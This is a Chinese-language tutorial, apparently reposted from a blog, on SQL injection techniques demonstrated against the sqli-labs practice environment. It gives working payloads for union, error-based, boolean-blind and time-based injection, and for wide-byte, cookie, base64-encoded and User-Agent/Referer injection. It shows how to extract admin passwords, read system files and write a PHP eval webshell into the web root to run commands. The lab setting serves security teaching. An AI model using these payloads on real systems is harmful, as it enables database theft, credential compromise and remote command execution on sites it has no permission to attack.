sql注入手法

常见的sql注入手法

0x00. 注入点的判断

以sqlli-labs第二关为例具体讲解

image-20210102094409045

变换id参数

当我们变换id参数(2+1|2-1)的时候,发现同一个页面,页面展现出不同的用户信息。也就是说,数据库中的内

容会回显到网页中来。

初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的内容。猜测后台执行的SQL语句大致

结构为:

select * from tbName where id=2;

单引号

[ ?id=2']

执行的SQL主语则变为

select * from tbName where id=33';

页面报错,并且报错信息会回显在网页中,报错信息如下

image-20210102094649073

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

错误信息' LIMIT 0,1提示单引号位置出现错误,那么说明,SQL语句从头到参数2都是正确的。也就是说,我们添加

的单引号是多余的。因此,可以断定参数33前面没有引号,因此注入点可能为数字型注入

[and 1=1]

[ ?id=2 and 1=2 --+]

可能得SQL语句为

select * from tbName where id=1 and 1=1 --+
# --是sql注释,+是url中的空格

页面正常

image-20210102095419471

[and 1=2]

[ ?id=33 and 1=2 --+]

可能得SQL语句

select * from tbName where id=2 and 1=2 --+

image-20210102095816745

页面没有用户信息,并且数据库没有报错。由于1=2是恒假式,也就是查询条件[where id=2 and 1=2 --+]恒

假,这样的SQL语句在数据库中执行后,没有返回结果,没有用户信息内容。

反过来看,页面没有用户信息内容,也就是SQL语句查询条件为假。也就是说我们写的语句[and 1=2 --+],起到

了将查询条件置为假的作用。那么,可以通过构造语句来控制SQL语句的查询结果并且,SQL语句查询条件的真假

性,在页面回显中有体现。

[and sleep(5)]

[?id=2 and sleep( 5)]

image-20210102095911647

注入sleep(5)语句,可以通过网络时间线看到延时。

说明sleep(5)语句起到了作用综上,此连接存在SQL注入漏洞。

0x01. 联合查询

你可能也会看到有人叫他联合注入或者union注入

由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。

联合查询就是SQL语法中的union select语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询

到的结果进行拼接。

select ~~~  union select  ~~

由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。

联合查询可以跨库跨表查询,这才是它的nb之处

必要条件

  • 两张虚拟的表具有相同的列数

  • 虚拟表对应的列的数据类型相同,在数据库中数字比较特殊有时会转换成字符,但是字符是不能转换成数字的

    image-20210102104041980

判断字段个数

可以使用order by语句来判断当前select语句所查询的虚拟表的列数。order by语句本意是按照某一列进行排

序,在mysql中可以使用数字来代替具体的列名,比如order by 1就是按照第一列进行排序,如果mysql没有找

到对应的列,就会报错Unknown column。我们可以依次增加数字,直到数据库报错。

  • order by 1 --+

  • order by 2 --+

  • order by 3 --+

  • order by 4 --+ 报错

image-20210102100834394

得到当前虚拟表中字段个数为3

判断显示位置

得到字段个数之后,可以尝试构造联合查询语句。

这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。

?id=2 union select 1,2,3 --+
?id=2 union select null, null,null --+

页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录

因此构造SQL语句:

?id=2 and 1=2 union select 1,2,3 --+

在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar,发现2和3会回显到页面中来。

image-20210102103629752

数据库版本

我们可以将数字3用函数version()代替,即可得到数据库的版本。

?id=2 and 1=2 union select 1,2,version() --+

image-20210102104306446

数据库版本为5.5.53。

获取当前库名

database()?id=3 and 1=2 union select 1,2,database() --+

image-20210102104431448

获取表名

这里就要引进一个特别的库来帮助我们查询 information_schema

information_schema库是mysql系统用的所有字典信息,包括数据库系统有什么库,有什么表,有什么字典,有

什么存储过程等所有对象信息和进程访问、状态信息。再说简单点,这台MySQL服务器上,到底有哪些数库、

各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在

information_schema库里面,注:只有5.0版本以上的才有这个库

information_schema必知必会3条

# information_schema下的schemata表 存放了所有的库相关信息,存放库名的字段是schema_name# 查看所有的库名select group_concat(schema_name) from information_schema.schemata  # information_schema下的tables表 存放了所有的表相关信息,存放表名的字段是table_name,库名的字段是table_schema# 查看一个库下所有的表select group_concat(table_name) from information_schema.tables where table_schema="库名"#information_schema下的columns表 存放了所有的字段相关,存放字段名的字段是columns_name,表名的字段是table_schema,库名的字段是table_schema# 查看一个库下的一个表的所有字段select group_concat(column_name) from information_schema.columns where table_schema="库名" and table_name = "表名"

具体SQL语句

?id=2 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20210102105922556

如果数据库有爆错,你可以尝试把查询结果转换成16进制数,这样避免编码问题,查询结果再用BP解码

?id=2 and 1=2 union select 1,2,hex(group_concat(table_name)) from information_schema.tables where table_schema=database() --+

获取字段名

?id=2 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users" --+

image-20210102110732281

获取字段值

获取管理员的账号和密码

?id=2 and 1=2 union select 1,2,password from security.users where username like "%25admin%25" --+

image-20210102111154894

这里密码直接是明文显示了

一般账号的密码都是md5摘要后得到的,你可以去https://www.cmd5.com去撞库看看能不能得到原文密码

0x02. 报错注入

在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入

报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接

背公式即可

XPATH报错

只有mysql5版本以后才有xpath报错

updatexml( ) 32位长度

?id=2 and updatexml(1,concat('^',(select database()),'^'),1) --+

image-20210102114445122

updatexml()函数报错输入的内容有限,一般group_concat会不全

extractvalue( )

?id=2 and extractvalue(1,concat('^',(select version()),'^')) --+

image-20210102114702861

group by重复键冲突

详情请见 : https://www.cnblogs.com/richardlee97/p/10617115.html

报错注入经常发生在一些insert update delete这些语句中,尤其是一些靶场的报错,极易在insert语句中

所以你要想办法闭合你当前插入点的语句,一般有and '1' = '1 也有可能是双引号 , 如果不闭合的话 , 你可以自行

添加字段对应的值 , 值的个数由报错可以看到 , 然后注释掉原来的即可 , 常见语句

q' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1q' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1q' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1)#q' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e),1),1)#

语句是死的,但是人是活的,报错注入经常出现在http请求头中,而且多半不能直接注释,学会看报错信息,想办

法闭合

# insert插入insert into 表名(字段1,字段2,字段3) value ('$id','$username','password','email')

如果你构建的sql语句是在$username那里插入的话,那你就不能直接注释,如果注释的话,就少了两个字段的值

数据库会先报这个错,所以要么你把单引号闭合,不要注释

要么你就直接自己写两个字段的值(一般用数字),然后注释后面的内容,不要忘记最后还有一个括号推荐

q' and updatexml(1,concat(0x7e,(select database()),0x7e),1),123456,'1@qq.com')#

0x03. 布尔盲注

原理 : 利用页面返回的布尔类型状态,正常或者不正常。

详细的解释就是通过and 连接一句条件语句,然后根据页面返回的状态判断该条件语句是否成立,我们可以利用

条件语句去判断库,表,字段等

布尔盲注的流程

判断数据库长度

?id=2 and length(database())>0 --+# length() 返回接收参数的长度

image-20210102115912223

页面返回正常,我们可以判断出条件语句为真,即库名的长度是大于0的,然后我们再通过二分法进一步缩小查找

范围,最终得到库名的长度

?id=2 and length(database())<10 --+?id=2 and length(database())>5 --+?id=2 and length(database())>7 --+# 以上页面都返回内容正常?id=2 and length(database())>9 --+# 返回的页面无内容,说明库名的长度大于7小于9,很有可能是8
?id=2 and length(database())=8 --+

没错果然是8

image-20210102120340575

逐一判断数据库字符

?id=2 and ascii(substr(database(),1,1))>0 --+#substr('字符串',start,step)  从第几个位置,截取当前字符串多少个字符substr('hello',1,1)    从第1个位置,截取当前字符串hello1个字符            返回的结果为h# ascii( )   返回当前字符对应的ascii表中的十进制数表示ascii("a")   返回97

ascii码表部分截图

image-20210102121022411

当然也是先判断范围,然后最终确定数字,再查ascii表,看看是什么字符

?id=2 and ascii(substr(database(),1,1))>100 --+?id=2 and ascii(substr(database(),1,1))<120 --+?id=2 and ascii(substr(database(),1,1))>110 --+?id=2 and ascii(substr(database(),1,1))>115 --+     没有内容返回,说明在110到115之间?id=2 and ascii(substr(database(),1,1))>113 --+?id=2 and ascii(substr(database(),1,1))>114 --+
?id=2 and ascii(substr(database(),1,1))=115 --+

image-20210102121435892

接下来的流程就是一个一个字符把库名猜出来,然后用同样的手段去猜表名,字段名等

猜表名长度

?id=2 and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>30 --+

这种盲注时间成本特别高,可以用工具实现半自动化爆破,或者用常见的表名去爆破

0x04. 延时注入

延时注入原理 : 利用sleep()语句的延时性,以时间线作为判断条件。

也有人把延时注入划分在盲注这一类,因为都是看不见回显和报错,延时注入长和if语句搭配使用

获取库名

获取数据库名长度

?id=2 and if(( length(database( ))=8),sleep(5),1) --+# 如果库名长度等于9就睡5秒再加载页面,否则就直接加载页面

image-20210102123120850

直接加载页面说明库名长度不等于9

?id=2 and if(( length(database( ))=8),sleep(5),1) --+# 如果库名长度等于8就睡5秒再加载页面,否则就直接加载页面

image-20210102123052620

睡了5秒,说明数据库长度等于8

紧接着就是判断库名的每个字符,然后判断表,字段等,这种时间成本更高,而且受网速影响

口诀

是否有回显 联合查询

是否有报错 报错注入

是否有布尔类型状态 布尔盲注绝招

绝招 延时注入 时间是衡量一切的标准

0x05. 其他注入手法

1. 读写文件

前提条件

我们也可以利用SQL注入漏洞读写文件。但是读写文件需要一定的条件。

1. secure-file-priv

该参数在高版本的mysql数据库中限制了文件的导入导出操作。改参数可以写在my.ini配置文件中[mysqld]下。若

要配置此参数,需要修改my.ini配置文件,并重启mysql 服务。

关于该参数值的相关说明

secure-file-priv参数配置含义

secure-file-priv=   或者  secure-file-priv=""            不对mysqld的导入导出操作做限制secure-file-priv='c:/a/ '       限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)secure-file-priv=null           限制mysqld 不允许导入导的操作,这也是mysql5.0后的默认配置

image-20210102124206013

2. 当前用户具有文件权限

利用已经获取的数据库账号和密码,连接数据库查看当前用户的文件权限

查询语句

select File_priv from mysql.user where user=" root" and host="localhost

image-20210102125105828

有权限,一般root用户对文件操作都是有条件的

3. 知道要写入目标文件的绝对路径

读取文件操作

?id=2 and 1=2 union select 1,load_file('C:\\WINDOWS\\system32\\drivers\\etc\\hosts'),3 --+

image-20210102125731862

写入文件操作

?id=2 and 1=2 union select 1,'<?php @eval(\$_REQUEST[777]);?>',3 into outfile 'C:\\phpstudy\\www\ \666.php' --+$出现在引号中,最后转义可以避免很多问题,注意windows下的路径要两个反斜杠,或者你用一个斜杠也行

直接传入参数,页面如果不报错,说明写入成功。

image-20210102130303908

可以直接查看写入的文件

image-20210102130433652

写入一句话木马后你就可以访问这个地址,然后通过?777=命令 , 执行你想要的命令,比如whoami,ipconfig等

?777 = echo "ipconfig";
# 你不但可以写入一句话木马,还可以写入<?php phpinfo();?>?id=2 and 1=2 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\\phpstudy\\www\\777.php' --+

image-20210102130847713

2. 宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。

为了说明宽字节注入问题,我们以SQLi-labs 32关为例子。

http://192.168.18.81:90/sqlin/Less-32/?id=2%27

image-20210102132741021

使用?id=2'进行测试的时候,发现提交的单引号会被转义\'。此时,转义后的单引号不再是字符串的标识,会被

作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL语句的结构。

单引号原本是一个控制字符,如果被转义就会变成一个普通的字符,起不到闭合字符串的作用了

如果phpstudy开了魔术符号也会自动给某些特殊字符添加反斜杠进行转义

我们通过阅读32关的源码,发现几句非常意思的代码,如下。

image-20210102132956917

连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询。

?id=2\'

image-20210102133116874

发现还是不可以,就算你用\再转义,后台的代码仍然会对你转义之后的再转义

# ascii转16进制\       --->   5c

既然是gbk编码,那么我们不妨看一下用gbk编码的汉字有没有包括5c的,用另一半和5c组成一个汉字的gbk编码

后的16进制数,不就把原来的\吃掉了吗,只剩下一个单引号,真的是妙啊

网上流传的版本是%df

%df5c0xdf5c          是汉字運 %df5c          是url编码

image-20210102134719026

?id=2%df'

image-20210102140505357

没有\ , 哈哈哈,又可以愉快的注入啦 , 而且发现是字符型注入

网络上流传的都是%df干掉反斜杠,实际上不止%df还有%cf,%af等等,只要在gbk编码范围里面就可以

?id=1%df' and 1=2 union select 1,database(),version() --+

image-20210102140709414

注入的参数提交在cookie信息中

我们使用SQLi-labs第20关来说明Cookie 注入问题。

Cookie 注入的注入参数需要通过Cookie提交,可以通过document.cookie在控制台完成对浏览器Cookie 的读

写。

来到less-20,输入用户名和密码

image-20210102142439161

得到cookie信息

image-20210102142408984

看到cookie中有我们提交的参数,我们可以在参数后面添加单引号尝试是否具有注入点,但是在当前页面我们无

法向这次请求的cookie值添加单引号,为了方便操作我们用BP抓包,自定义提交

image-20210102142959787

说明存在SQL注入点,而且还是字符型注入

更换cookie的值,发现没有问题,虽然页面上有cookie的具体内容但是这个回显不算数,正常情况下浏览器是不

会把cookie的值显示在页面上的,但是有数据库爆错信息,所以我们可以用爆错注入

获取库名

' and updatexml(1,concat("^",database(),"^"),1)#

image-20210102143708239

你也可以在控制台中进行cookie注入

document.cookie="uname=Dumb' and extractvalue( 1,concat(0x7e,database( ),0x7e))#"

image-20210102144400485

当你点下刷新页面的时候,就会出现报错信息

image-20210102144418989

4. base64 注入

注 : base64不是一种加密方法,他是一种编码方法

我们使用SQLi-labs第22关来说明base64 注入问题。

当我输入账号和密码登录的时候,返回的页面cookie信息中显示的uname不在是Dumb,而是RHVtYg==,一看

到==我就不禁的想到base64编码

image-20210102144551026

于是用BP转码,发现果然和猜的一样

image-20210102144929660

于是抓包打算用base 64编码注入

Dump'

image-20210102145921307

image-20210102150057616

发现并没有报错,说明有可能单引号不是闭合方式,试试双引号

Dump"RHVtcCI=

image-20210102150251968

ok,报错了,而且从报错信息中还能看出来是字符型注入,注意字符型不仅只指单引号,还有双引号

Dump" and updatexml(1,concat('^',database(),'^'),1)#RHVtcCIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsZGF0YWJhc2UoKSwnXicpLDEpIw==

image-20210102150654210

5. HTTP头部注入

http 头部注入就是指注入字段在HTTP

头部的字段中,这些字段通常有User-Agent、Referer等。

User-Agent 注入

如SQLi-labs第18关

输入账号和密码之后得到带有user-agent信息的页面

image-20210102151119298

然后我们通过抓包猜测user-agent是不是一个用户会向后台提交数据的字段

image-20210102151423108

通过更改user-agent的值发现,果然是一个会向后台提价数据的字段,于是我们尝试是否存在注入点

alex'

image-20210102151626151

报错了,果然是一个sql注入点 , 还是一个字符型注入,但是这个报错信息和常见的又不一样,很有可能后面的这

部分是不可缺少的一部

分,注意sql语句的拼接,首先尝试直接注释

alex'#

image-20210102151959355

发现还是报错说明之前的语句不能直接注释掉

hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and'1'='1

通过看源码发现,与数据库交互的一条插入语句,所以不能直接把原来sql语句后面的语句直接注释掉,这里的and '1' = '1 , 是为了闭合原有的单引号同时不影响后面的SQL语句

image-20210102152239697

Referer注入

第19关,注入字段在Referer 中

登录账号和密码后出现以下画面

image-20210102153026054

这里同样猜测可能是一个insert插入语句到数据库中,肯定不是查询语句,那么就要闭合单引号了,不能直接注释

单引号测试

image-20210102153301437

hacker' and updatexml(1,concat(0x7e,database( ),0x7e),1) and '1'='1

image-20210102153425729

以上就是常见的SQL注入的手法了

原文地址:https://www.cnblogs.com/xcymn/p/15721572.html